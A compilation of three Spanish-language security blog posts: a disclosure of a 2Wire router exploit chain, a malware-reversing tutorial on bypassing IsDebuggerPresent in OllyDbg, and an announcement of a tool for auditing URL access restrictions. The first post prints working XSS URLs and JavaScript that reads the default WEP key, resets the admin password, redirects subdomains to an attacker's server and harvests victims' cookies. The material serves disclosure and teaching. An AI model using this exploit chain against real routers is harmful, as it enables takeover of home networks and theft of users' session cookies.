Robo de cookies por router vulnerable (caso 2Wire)

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.

El proceso de ataque sería el siguiente:

1. La víctima visita una página maliciosa con un módem vulnerable,

2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,

3. La página obliga a la víctima a realizar peticiones a los subdominios,

4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.

Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:

1. Cross site scripting

2. Revelación de configuración (“url mágico”)

3. Reinicialización de contraseña con la clave WEP default

Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>

Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.

Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:

cfgpwn.js:

try {

    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");

} catch(e) {

    xmlhttp = new XMLHttpRequest()

}

xmlhttp.open("GET","/xslt?page=mgmt_data",false);

xmlhttp.send(null);

var info = xmlhttp.responseText;

var pass = "temporal";

var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:

xmlhttp.open("POST","/xslt");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);

xmlhttp.send(null);

Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);

    xmlhttp.send(null);

}

Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

    document.write('<img src=http://'+dns+'>');

}

Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:

Hay que entender que en este caso 2Wire ha publicado parches para todas estas vulnerabilidades hace tiempo, pero en muchas ocasiones no depende del usuario o fabricante el actualizar, depende del proveedor de servicio.

Contribución cortesía de Pedro “hkm” Joaquín de Websec México

Reversing malware tales: IsDebuggerPresent ?

Llevo tiempo queriendo iniciar una saga de posts sobre análisis de malware donde tratar los distintos tipos de análisis, ya sean por comportamiento (sandbox, herramientas tipo processmonitor, etc) o vía debugger.

Así mismo me fijé como objetivo que fuese sobre muestras 'in the wild'.

Debo agradecer a Javi, del GDT,  su amabilidad a la hora de proveerme de muestras que ellos tienen disponibles por su ímproba labor en la investigación de delitos informáticos.

Hoy voy a hablar de algo que encontré a la hora de analizar una de las muestras que me facilitaron. Es muy típico de un programa que está orientado a 'cosas oscuras' que incorpore algún tipo de técnica para protegerse de miradas excesivamente curiosas. Muchos utilizan 'packers' para ofuscar el código y otros, como del que vamos a hablar hoy, sencillas técnicas para detectar la presencia de debuggers.

En concreto esta muestra hace uso de la función IsDebuggerPresent() para detectar si está siendo ejecutado a través de un debugger.

¿Cómo detectar que se está haciendo uso de de esta función? El primer paso es abrir la muestra con Ollydbg y ver las llamadas a la API que emplea el malware:

Olly nos muestra las diferentes funciones que emplea este espécimen de Malware y de entre toda la lista, nos encontramos con:

Con lo que tenemos la certeza de que este espécimen, en algún punto, va a intentar averiguar si está siendo analizado por un debugger. Evidentemente esto es bastante sospechoso.

Vamos a poner un breakpoint para tener el control justo cuando el malware vaya a hacer uso de dicha función.

Y pulsamos F9 para lanzar el programa, que se detendrá justo cuando se vaya a hacer uso de la función

Si agrandamos la imagen (click en ella) podemos ver que Olly nos indica que el programa está pausado justo en la función IsDebuggerPresent().

Esta función pertenece a otro módulo (kernel32) por lo que deberemos retornar al programa principal para ver que sucede justo después de esa llamada.

Para ello vamos al menú 'Debug' y seleccionamos 'Execute till user code' o pulsamos ALT+F9

Lo que nos devolverá al programa principal justo después de la llamada a IsDebuggerPresent()

Vemos que, justo después, lo que hace el programa es verificar si EAX vale 0 (TEST EAX, EAX), en EAX está almacenado el resultado de la función IsDebuggerPresent() y como en este caso es cierto, el programa se está ejecutando en un debugger, el valor de EAX es 1

Podemos leer en la descripción de IsDebuggerPresent() lo siguiente:
'If the current process is running in the context of a debugger, the return value is nonzero.'

También vemos que, como el resultado de TEST EAX, EAX no es 0, el flag Z no se activa y permanece a 0

Si pulsamos F7, iremos a la siguiente línea de ensamblador que es un salto condicional JNZ 

Como podemos ver si agrandamos la imagen, olly en la parte inferior nos indica que 'Jump is taken', es decir que el va a saltar porque JNZ significa 'Jump if NOT Z' y como el resultado de TEST EAX, EAX no ha activado el flag Z, hará ese salto condicional que nos lleva a una rutina de exit. Obviamente esto no es lo que queremos ya que nos perderemos la parte divertida donde empiezan los fuegos artificiales.

¿Como resolvemos esta situación? Muy fácil, tan solo tenemos que, en ese punto, hacer doble click sobre el flag Z y cambiar su valor a 1, de esa forma el Jump no se hará y el programa seguirá su curso esperado.

Una vez cambiado el flag Z, podemos ver que Olly nos dice que no se hará el salto.

Como hemos visto saltarse esta 'protección' es extremadamente fácil, en este punto podríamos cambiar ese JNZ por NOPs y salvar el fichero con las modificaciones para que la protección quede desactivada para siempre.

No obstante, hay un método más fácil. Existe un plugin para Olly llamado 'Hide Debugger' que directamente lidia con este tipo de 'protecciones' para evitar que el debugger sea detectado. No solo se ocupa de IsDebuggerPresent() sino de otras técnicas que se emplean habitualmente.

DoRodri - Falla de Restricción de Acceso a URL

Como proyecto de final de master de seguridad, se planteó analizar una de las vulnerabilidades top 10 de OWASP, en concreto la vulnerabilidad es conocida como, Falla de Restricción de Acceso a URL. Cómo resultado de este análisis se ha desarrollado una herramienta con el objetivo servir de ayuda en auditorias de caja blanca para detectar esta vulnerabilidad. 

Debido a la dificultad de poder detectar de manera automática cuando esta previsto restringir el acceso y cómo saber si este ha sido restringido correctamente, unas veces se verá un mensaje de error, otras un mensajito más amigable dentro del interfaz de la propia aplicación web y otras veces, las que menos, una pantalla en blanco. Se ha optado por otra solución a nuestro entender más lógica. La herramienta muestra para cada url los datos estadísticos más básicos al emplear cada perfil: número de letras, con y sin blancos, y número de líneas. Y permite para cada url acceder a una ventana comparativa en la que contrastar las diferencias a mayor profundidad entre parejas de perfiles.

La herramienta, DoRodri, ha sido desarrollada en .Net y se encuentra bastante estable aunque seguramente sujeta a algunos bugs. 

Para su funcionamiento es preciso obtener previamente: 

• Un fichero con las urls a analizar: se puede obtener de programas como el OWASP ZAP con la opción “exportar todas las urls a aun fichero”. 
• Un listado de cookies de identificadores de sesión validos para los distintos perfiles a analizar. Una vez obtenido lo anterior es hora de pasárselo al programa para que analice la web. 

El programa de manera automática, tras cargar el fichero de urls, genera un árbol con la estructura de la web a analizar, obtiene las capturas de pantalla de cada perfil y muestra la opción de descargar los códigos fuente para estimar diferencias a nivel de código html. 

Una vez obtenida la información por parte del programa empieza el trabajo humano, hay que comparar para cada url, o las que el analista estime oportuno, si el control se realiza de manera correcta. 

Al pulsar sobre cada miniatura se muestra una ventana comparativa en la que muestra la respuesta visual que arroja la aplicación web para cada perfil. Adicionalmente en la parte inferior se aprecian las estadísticas sobre el número de líneas y caracteres, y en la superior se realiza una comparación a nivel de código indicando el grado de diferencia que hay entre los dos códigos html mediante el cálculo del factor de distancia de Damerau–Levenshtein. Entendiendose como tal al número mínimo de operaciones requeridas para transformar una cadena de caracteres en otra. Se entiende por operación, bien una inserción, eliminación, sustitución o transposición de dos caracteres.

Esta información estadística permite para perfiles con privilegios cercanos, en los cuales la interfaz es muy similar, obtener datos bajando al nivel de código, sobre el grado de similitud real que hay entre ambos. Para obtener la herramienta y más información se puede acceder a la página del proyecto: 

Dirección de la herramienta: http://failuretorestrictaccess.wordpress.com/ 

Todo comentario, sugerencia o crítica será bienvenida. 

¡Gracias!

Autores:
Fernando Andina.

José Miguel Soriano.